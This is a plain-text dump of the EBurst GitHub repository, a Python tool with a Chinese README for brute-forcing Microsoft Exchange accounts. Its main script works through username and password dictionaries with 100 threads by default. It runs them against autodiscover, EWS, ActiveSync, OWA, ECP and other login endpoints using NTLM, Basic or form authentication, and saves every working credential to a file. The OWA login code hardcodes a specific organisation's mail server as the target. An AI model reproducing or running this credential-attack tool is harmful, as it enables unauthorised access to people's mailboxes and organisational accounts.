Full Code of grayddq/EBurst for AI

master f53c0baaca64 cached
6 files
20.1 KB
5.6k tokens
18 symbols
1 requests
Download .txt
Repository: grayddq/EBurst
Branch: master
Commit: f53c0baaca64
Files: 6
Total size: 20.1 KB

Directory structure:
gitextract_bioaq_xj/

├── .gitattributes
├── EBurst.py
├── README.md
├── lib/
│   ├── __init__.py
│   └── consle_width.py
└── requirements.txt

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitattributes
================================================
*.yar linguist-language=python


================================================
FILE: EBurst.py
================================================
# -*- coding: utf-8 -*-
import urllib2, requests, optparse, time, threading, Queue, sys, certifi
from base64 import encodestring
from requests_ntlm import HttpNtlmAuth
from lib.consle_width import getTerminalSize


class Check_Exchange_User:
    def __init__(self, domain, type=None, protocol=None, user=None, userfile=None, password=None, passfile=None,
                 thread=10):
        self.domain, self.user, self.userfile, self.password, self.passfile, self.thread = domain, user, userfile, password, passfile, thread
        self.URL = {
            "autodiscover":
                {"url": "%s://%s/autodiscover" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
            "ews":
                {"url": "%s://%s/ews" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
            "mapi":
                {"url": "%s://%s/mapi" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
            "activesync":
                {"url": "%s://%s/Microsoft-Server-ActiveSync" % ("http" if protocol == "http" else "https", domain),
                 "mode": "Basic"},
            "oab":
                {"url": "%s://%s/oab" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
            "rpc":
                {"url": "%s://%s/rpc" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
            "api":
                {"url": "%s://%s/api" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
            "owa":
                {"url": "%s://%s/owa/auth.owa" % ("http" if protocol == "http" else "https", domain), "mode": "HTTP"},
            "powershell":
                {"url": "%s://%s/powershell" % ("http" if protocol == "http" else "https", domain), "mode": "Kerberos"},
            "ecp":
                {"url": "%s://%s/owa/auth.owa" % ("http" if protocol == "http" else "https", domain), "mode": "HTTP"}
        }
        self.HEADERS = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:69.0) Gecko/20100101 Firefox/69.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate",
            "Connection": "close",
            "Upgrade-Insecure-Requests": "1",
        }
        if not user and not userfile:
            return

        self.ReqInfo = self.URL[type]
        self.users = []

        # 多线程框架
        self.thread_count = 0
        self.scan_count = self.found_count = 0
        self.lock = threading.Lock()
        self.console_width = getTerminalSize()[0] - 2
        self.msg_queue = Queue.Queue()
        self.STOP_ME = False
        threading.Thread(target=self._print_msg).start()
        # 导入字段用户
        self._load_dict()
        # 结果存储
        outfile = domain + '.txt'
        self.outfile = open(outfile, 'w')

    # NTLM认证验证
    def check_NTLM_userpass(self, user, password, url):
        try:
            response = requests.get(url, auth=HttpNtlmAuth(user, password), headers=self.HEADERS)
            if 401 != response.status_code and 408 != response.status_code and 504 != response.status_code:
                return True
            else:
                return False

        except:
            return False

    # Basic认证验证
    def check_Basic_userpass(self, user, password, url):
        try:
            HEADERS = self.HEADERS
            HEADERS["Authorization"] = "Basic %s" % encodestring('%s:%s' % (user, password))[:-1]
            request = requests.session()
            request.keep_alive = False
            response = request.get(url, headers=HEADERS)
            if 401 != response.status_code and 408 != response.status_code and 504 != response.status_code:
                return True
            else:
                return False
        except:
            return False

    # http认证验证
    def check_HTTP_userpass(self, user, password, url, type="ecp"):
        try:
            if type == "owa":
                urldata = "https://mail.netone.co.zw/owa/"
            else:
                urldata = "https://mail.netone.co.zw/cep/"
            HEADERS = self.HEADERS
            HEADERS["Cache-Control"] = "max-age=0"
            HEADERS["Content-Type"] = "application/x-www-form-urlencoded"
            HEADERS[
                "Referer"] = "https://" + self.domain + "/owa/auth/logon.aspx?replaceCurrent=1&url=" + urldata
            HEADERS["Cookie"] = "PrivateComputer=true; PBack=0"

            data = {
                "destination": urldata,
                "flags": "4",
                "forcedownlevel": "0",
                "username": user,
                "password": password,
                "passwordText": "",
                "isUtf8": "1"
            }
            request = requests.session()
            request.keep_alive = False
            response = request.post(url, data=data, headers=HEADERS, allow_redirects=False)
            if "Location" not in response.headers:
                return False
            if "reason" not in response.headers["Location"]:
                return True
            else:
                return False
        except:
            return False


    # 爆破exchange接口
    def check_Exchange_Interfac(self, user, password):
        url, mode = self.ReqInfo["url"], self.ReqInfo["mode"]
        if mode == "NTLM":
            if self.check_NTLM_userpass(user, password, url):
                return True
        elif mode == "Basic":
            if self.check_Basic_userpass(user, password, url):
                return True
        elif mode == "HTTP":
            type = "owa" if "/owa" in self.ReqInfo['url'] else "ecp"
            if self.check_HTTP_userpass(user, password, url, type=type):
                return True


    # 导入爆破字典字典
    def _load_dict(self):
        self.msg_queue.put('[+] Initializing, load user pass...')
        self.queue = Queue.Queue()
        userdict, passdict = [], []

        if self.userfile:
            with open(self.userfile) as f:
                for line in f:
                    userdict.append(line.strip())
        else:
            userdict.append(self.user.strip())

        if self.password:
            passdict.append(self.password.strip())
        else:
            with open(self.passfile) as f:
                for line in f:
                    passdict.append(line.strip())

        for user in userdict:
            for passwd in passdict:
                dic = {"user": user, "passwd": passwd}
                self.queue.put(dic)

        sys.stdout.write('\n')
        self.msg_queue.put('[+] Found dict infos %s/%s in total' % (len(userdict), len(passdict)))


    def _print_msg(self):
        while not self.STOP_ME:
            try:
                _msg = self.msg_queue.get(timeout=0.1)
            except:
                continue

            if _msg == 'status':
                msg = '%s Found| %s groups| %s scanned in %.1f seconds| %s threads' % (
                    self.found_count, self.queue.qsize(), self.scan_count, time.time() - self.start_time,
                    self.thread_count)
                sys.stdout.write('\r' + ' ' * (self.console_width - len(msg)) + msg)
            elif _msg.startswith('[+] Check user pass Info'):
                sys.stdout.write('\r' + _msg + ' ' * (self.console_width - len(_msg)))
            else:
                sys.stdout.write('\r' + _msg + ' ' * (self.console_width - len(_msg)) + '\n')
            sys.stdout.flush()


    def _update_scan_count(self):
        self.last_scanned = time.time()
        self.scan_count += 1


    def _update_found_count(self):
        self.found_count += 1


    # 验证接口有效性,判断是否存在接口爆破的可能
    def check_interfac_availab(self):
        for (k, v) in self.URL.items():
            url = v["url"]
            request = requests.session()
            request.keep_alive = False
            try:
                response = request.get(url, headers=self.HEADERS, allow_redirects=False)
                if 404 != response.status_code and 301 != response.status_code and 302 != response.status_code and 403 != response.status_code:
                    print u"URL: %s ,code:%s" % (url, response.status_code) + u"\t有效可以爆破"
                else:
                    print u"URL: %s ,code:%s" % (url, response.status_code) + u"\t失败无法爆破"
            except:
                print "URL: %s ,Fail"


    # 检测接口认证方式开通了哪些,并替换为已开通的方式
    def check_url_authenticate(self):
        self.msg_queue.put('[+] Find target url authenticate method ...')
        url = self.ReqInfo["url"]
        mode = self.ReqInfo["mode"]
        if mode == "HTTP":
            return True

        request = requests.session()
        request.keep_alive = False
        response = request.get(url, headers=self.HEADERS)
        authenticate_type = response.headers["WWW-Authenticate"]
        # 认证方式不为默认类型,则替换为支持的类型
        if mode not in authenticate_type:
            if "NTLM" in authenticate_type:
                self.ReqInfo["mode"] = "NTLM"
            elif "Basic" in authenticate_type:
                self.ReqInfo["mode"] = "Basic"
            else:
                return False
        return True


    # 开始多线程扫描
    def _scan(self):
        self.lock.acquire()
        self.thread_count += 1
        self.lock.release()
        while not self.STOP_ME:
            try:
                lst_info = self.queue.get(timeout=0.1)
            except Queue.Empty:
                break

            while not self.STOP_ME:
                self._update_scan_count()
                self.msg_queue.put('status')
                if self.check_Exchange_Interfac(lst_info["user"], lst_info["passwd"]):
                    self._update_found_count()
                    msg = ("success user: %s ,password: %s" % (lst_info["user"], lst_info["passwd"])).ljust(30)
                    self.msg_queue.put(msg)
                    self.msg_queue.put('status')
                    self.outfile.write(msg + '\n')
                    self.outfile.flush()
                break

        self.lock.acquire()
        self.thread_count -= 1
        self.lock.release()
        self.msg_queue.put('status')


    def run(self):
        # 验证url的认证类型
        if not self.check_url_authenticate():
            self.msg_queue.put('[+] Unsupport authentication method, system return')
            return

        self.msg_queue.put('[+] start scan ...')
        self.start_time = time.time()
        for i in range(self.thread):
            try:
                t = threading.Thread(target=self._scan, name=str(i))
                t.setDaemon(True)
                t.start()
            except:
                pass
        while self.thread_count > 0:
            try:
                time.sleep(1.0)
            except KeyboardInterrupt, e:
                msg = '[WARNING] User aborted, wait all slave threads to exit...'
                sys.stdout.write('\r' + msg + ' ' * (self.console_width - len(msg)) + '\n\r')
                sys.stdout.flush()
                self.STOP_ME = True
        self.STOP_ME = True


if __name__ == '__main__':
    parser = optparse.OptionParser()

    parser.add_option("-d", dest="domain", help=u"邮箱地址")
    parser.add_option("-L", dest="userfile", help=u"用户文件")
    parser.add_option("-P", dest="passfile", help=u"密码文件")
    parser.add_option("-l", dest="user", help=u"指定用户名")
    parser.add_option("-p", dest="password", help=u"指定密码")
    parser.add_option("-T", "--t", dest="thread", type="int", default=100, help=u"线程数量,默认为100")
    parser.add_option("-C", "--c", dest="check", default=False, action='store_true', help=u"验证各接口是否存在爆破的可能性")
    parser.add_option("--protocol", dest="protocol", action='store_true', help=u"通讯协议默认https,demo: --protocol http")

    group = optparse.OptionGroup(parser, "type", u"EBurst 扫描所用的接口")
    group.add_option("--autodiscover", dest="autodiscover", default=True, action='store_true',
                     help=u"autodiscover接口,默认NTLM认证方式,自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。")
    group.add_option("--ews", dest="ews", default=False, action='store_true',
                     help=u"ews接口,默认NTLM认证方式,Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互")
    group.add_option("--mapi", dest="mapi", default=False, action='store_true',
                     help=u"mapi接口,默认NTLM认证方式,Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持")
    group.add_option("--activesync", dest="activesync", default=False, action='store_true',
                     help=u"activesync接口,默认Basic认证方式,用于移动应用程序访问电子邮件")
    group.add_option("--oab", dest="oab", default=False, action='store_true',
                     help=u"oab接口,默认NTLM认证方式,用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担")
    group.add_option("--rpc", dest="rpc", default=False, action='store_true',
                     help=u"rpc接口,默认NTLM认证方式,早期的Outlook还使用称为Outlook Anywhere的RPC交互")
    group.add_option("--api", dest="api", default=False, action='store_true', help=u"api接口,默认NTLM认证方式")
    group.add_option("--owa", dest="owa", default=False, action='store_true',
                     help=u"owa接口,默认http认证方式,Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等")
    group.add_option("--powershell", dest="powershell", default=False, action='store_true',
                     help=u"powershell接口(暂不支持),默认Kerberos认证方式,用于服务器管理的Exchange管理控制台")
    group.add_option("--ecp", dest="ecp", default=False, action='store_true',
                     help=u"ecp接口,默认http认证方式,Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台")
    parser.add_option_group(group)

    options, _ = parser.parse_args()

    if (options.userfile or options.user) and (options.passfile or options.password) and (options.domain):
        type = "autodiscover"
        if options.ews:
            type = "ews"
        elif options.mapi:
            type = "mapi"
        elif options.activesync:
            type = "activesync"
        elif options.oab:
            type = "oab"
        elif options.rpc:
            type = "rpc"
        elif options.api:
            type = "api"
        elif options.owa:
            type = "owa"
        elif options.powershell:
            type = "powershell"
        elif options.ecp:
            type = "ecp"

        scan = Check_Exchange_User(options.domain,
                                   type,
                                   options.protocol,
                                   options.user,
                                   options.userfile,
                                   options.password,
                                   options.passfile,
                                   options.thread)
        scan.run()
        scan.outfile.flush()
        scan.outfile.close()
    elif options.check and options.domain:
        Check_Exchange_User(options.domain).check_interfac_availab()
    else:
        parser.print_help()


================================================
FILE: README.md
================================================
# EBurst 0.1

这个脚本主要提供对Exchange邮件服务器的账户爆破功能,集成了现有主流接口的爆破方式。
搜了一圈互联网上的工具,未发现太优秀的工具,也和本身的需求不是太贴切,故抽时间写了个半自动化的脚本。

## 作者 ##

咚咚呛 

如有其他建议,可联系微信280495355

## 技术细节 ##
技术细节如下

	1、支持多线程爆破
	2、支持字典爆破
	3、支持爆破漏洞验证功能
	4、支持接口认证方式识别并自动切换功能
	5、支持爆破的接口如下:
	    https://Exchangeserver/ecp
            https://Exchangeserver/ews
            https://Exchangeserver/oab
            https://Exchangeserver/owa
            https://Exchangeserver/rpc
            https://Exchangeserver/api
            https://Exchangeserver/mapi
            https://Exchangeserver/powershell
	    	https://Exchangeserver/autodiscover
	    	https://Exchangeserver/Microsoft-Server-ActiveSync
	    
    

## 使用 ##
技术细节如下

程序下载

> root# <kbd>git clone https://github.com/grayddq/EBurst.git</kbd>
>
> root# <kbd>cd EBurst</kbd>
>
> root# <kbd>sudo pip install -r requirements.txt</kbd>

参数参考
     
>      [root@grayddq  EBurst]# ls
>      EBurst.py  lib  pic  README.md  requirements.txt
>      
>      [root@grayddq  EBurst]# python EBurst.py 
>      Usage: EBurst.py [options]
>      
>      Options:
>        -h, --help            show this help message and exit
>        -d DOMAIN             邮箱地址
>        -L USERFILE           用户文件
>        -P PASSFILE           密码文件
>        -l USER               指定用户名
>        -p PASSWORD           指定密码
>        -T THREAD, --t=THREAD
>                              线程数量,默认为100
>        -C, --c               验证各接口是否存在爆破的可能性
>        --protocol            通讯协议默认https,可无需指定,demo: --protocol http
>      
>        type:
>          EBurst 扫描所用的接口
>      
>          --autodiscover      autodiscover接口,默认NTLM认证方式,自Exchange Server 2007开始推出的一项
>                              自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。
>          --ews               ews接口,默认NTLM认证方式,Exchange Web
>                              Service,实现客户端与服务端之间基于HTTP的SOAP交互
>          --mapi              mapi接口,默认NTLM认证方式,Outlook连接Exchange的默认方式,在2013和2013之后开
>                              始使用,2010 sp2同样支持
>          --activesync        activesync接口,默认Basic认证方式,用于移动应用程序访问电子邮件
>          --oab               oab接口,默认NTLM认证方式,用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担
>          --rpc               rpc接口,默认NTLM认证方式,早期的Outlook还使用称为Outlook Anywhere的RPC交互
>          --api               api接口,默认NTLM认证方式
>          --owa               owa接口,默认http认证方式,Exchange owa
>                              接口,用于通过web应用程序访问邮件、日历、任务和联系人等
>          --powershell        powershell接口(暂不支持),默认Kerberos认证方式,用于服务器管理的Exchange管理控制
>                              台
>          --ecp               ecp接口,默认http认证方式,Exchange管理中心,管理员用于管理组织中的Exchange的Web控
>                              制台
>      
>      [root@grayddq  EBurst]# python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com
>      
>      [root@grayddq  EBurst]# python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com --ews



## 程序运行截图 ##

![Screenshot](pic/111.png)

![Screenshot](pic/222.png)


备注:其中多线程框架代码参考了lijiejie开源的代码,在此感谢。


================================================
FILE: lib/__init__.py
================================================


================================================
FILE: lib/consle_width.py
================================================
""" getTerminalSize()
 - get width and height of console
 - works on linux,os x,windows,cygwin(windows)
"""

__all__=['getTerminalSize']


def getTerminalSize():
   import platform
   current_os = platform.system()
   tuple_xy=None
   if current_os == 'Windows':
       tuple_xy = _getTerminalSize_windows()
       if tuple_xy is None:
          tuple_xy = _getTerminalSize_tput()
          # needed for window's python in cygwin's xterm!
   if current_os == 'Linux' or current_os == 'Darwin' or  current_os.startswith('CYGWIN'):
       tuple_xy = _getTerminalSize_linux()
   if tuple_xy is None:
       print "default"
       tuple_xy = (80, 25)      # default value
   return tuple_xy

def _getTerminalSize_windows():
    res=None
    try:
        from ctypes import windll, create_string_buffer

        # stdin handle is -10
        # stdout handle is -11
        # stderr handle is -12

        h = windll.kernel32.GetStdHandle(-12)
        csbi = create_string_buffer(22)
        res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
    except:
        return None
    if res:
        import struct
        (bufx, bufy, curx, cury, wattr,
         left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
        sizex = right - left + 1
        sizey = bottom - top + 1
        return sizex, sizey
    else:
        return None

def _getTerminalSize_tput():
    # get terminal width
    # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window
    try:
       import subprocess
       proc=subprocess.Popen(["tput", "cols"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)
       output=proc.communicate(input=None)
       cols=int(output[0])
       proc=subprocess.Popen(["tput", "lines"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)
       output=proc.communicate(input=None)
       rows=int(output[0])
       return (cols,rows)
    except:
       return None


def _getTerminalSize_linux():
    def ioctl_GWINSZ(fd):
        try:
            import fcntl, termios, struct, os
            cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,'1234'))
        except:
            return None
        return cr
    cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
    if not cr:
        try:
            fd = os.open(os.ctermid(), os.O_RDONLY)
            cr = ioctl_GWINSZ(fd)
            os.close(fd)
        except:
            pass
    if not cr:
        try:
            cr = (env['LINES'], env['COLUMNS'])
        except:
            return None
    return int(cr[1]), int(cr[0])

if __name__ == "__main__":
    sizex,sizey=getTerminalSize()
    print  'width =',sizex,'height =',sizey

================================================
FILE: requirements.txt
================================================
requests_ntlm==1.1.0
requests==2.18.4
Download .txt
gitextract_bioaq_xj/

├── .gitattributes
├── EBurst.py
├── README.md
├── lib/
│   ├── __init__.py
│   └── consle_width.py
└── requirements.txt
Download .txt
SYMBOL INDEX (18 symbols across 2 files)

FILE: EBurst.py
  class Check_Exchange_User (line 8) | class Check_Exchange_User:
    method __init__ (line 9) | def __init__(self, domain, type=None, protocol=None, user=None, userfi...
    method check_NTLM_userpass (line 64) | def check_NTLM_userpass(self, user, password, url):
    method check_Basic_userpass (line 76) | def check_Basic_userpass(self, user, password, url):
    method check_HTTP_userpass (line 91) | def check_HTTP_userpass(self, user, password, url, type="ecp"):
    method check_Exchange_Interfac (line 127) | def check_Exchange_Interfac(self, user, password):
    method _load_dict (line 142) | def _load_dict(self):
    method _print_msg (line 170) | def _print_msg(self):
    method _update_scan_count (line 189) | def _update_scan_count(self):
    method _update_found_count (line 194) | def _update_found_count(self):
    method check_interfac_availab (line 199) | def check_interfac_availab(self):
    method check_url_authenticate (line 215) | def check_url_authenticate(self):
    method _scan (line 238) | def _scan(self):
    method run (line 266) | def run(self):

FILE: lib/consle_width.py
  function getTerminalSize (line 9) | def getTerminalSize():
  function _getTerminalSize_windows (line 25) | def _getTerminalSize_windows():
  function _getTerminalSize_tput (line 49) | def _getTerminalSize_tput():
  function _getTerminalSize_linux (line 65) | def _getTerminalSize_linux():
Condensed preview — 6 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (24K chars).
[
  {
    "path": ".gitattributes",
    "chars": 31,
    "preview": "*.yar linguist-language=python\n"
  },
  {
    "path": "EBurst.py",
    "chars": 14916,
    "preview": "# -*- coding: utf-8 -*-\nimport urllib2, requests, optparse, time, threading, Queue, sys, certifi\nfrom base64 import enco"
  },
  {
    "path": "README.md",
    "chars": 2935,
    "preview": "# EBurst 0.1\n\n这个脚本主要提供对Exchange邮件服务器的账户爆破功能,集成了现有主流接口的爆破方式。\n搜了一圈互联网上的工具,未发现太优秀的工具,也和本身的需求不是太贴切,故抽时间写了个半自动化的脚本。\n\n## 作者 ##"
  },
  {
    "path": "lib/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "lib/consle_width.py",
    "chars": 2684,
    "preview": "\"\"\" getTerminalSize()\n - get width and height of console\n - works on linux,os x,windows,cygwin(windows)\n\"\"\"\n\n__all__=['g"
  },
  {
    "path": "requirements.txt",
    "chars": 38,
    "preview": "requests_ntlm==1.1.0\nrequests==2.18.4\n"
  }
]

About this extraction

This page contains the full source code of the grayddq/EBurst GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 6 files (20.1 KB), approximately 5.6k tokens, and a symbol index with 18 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!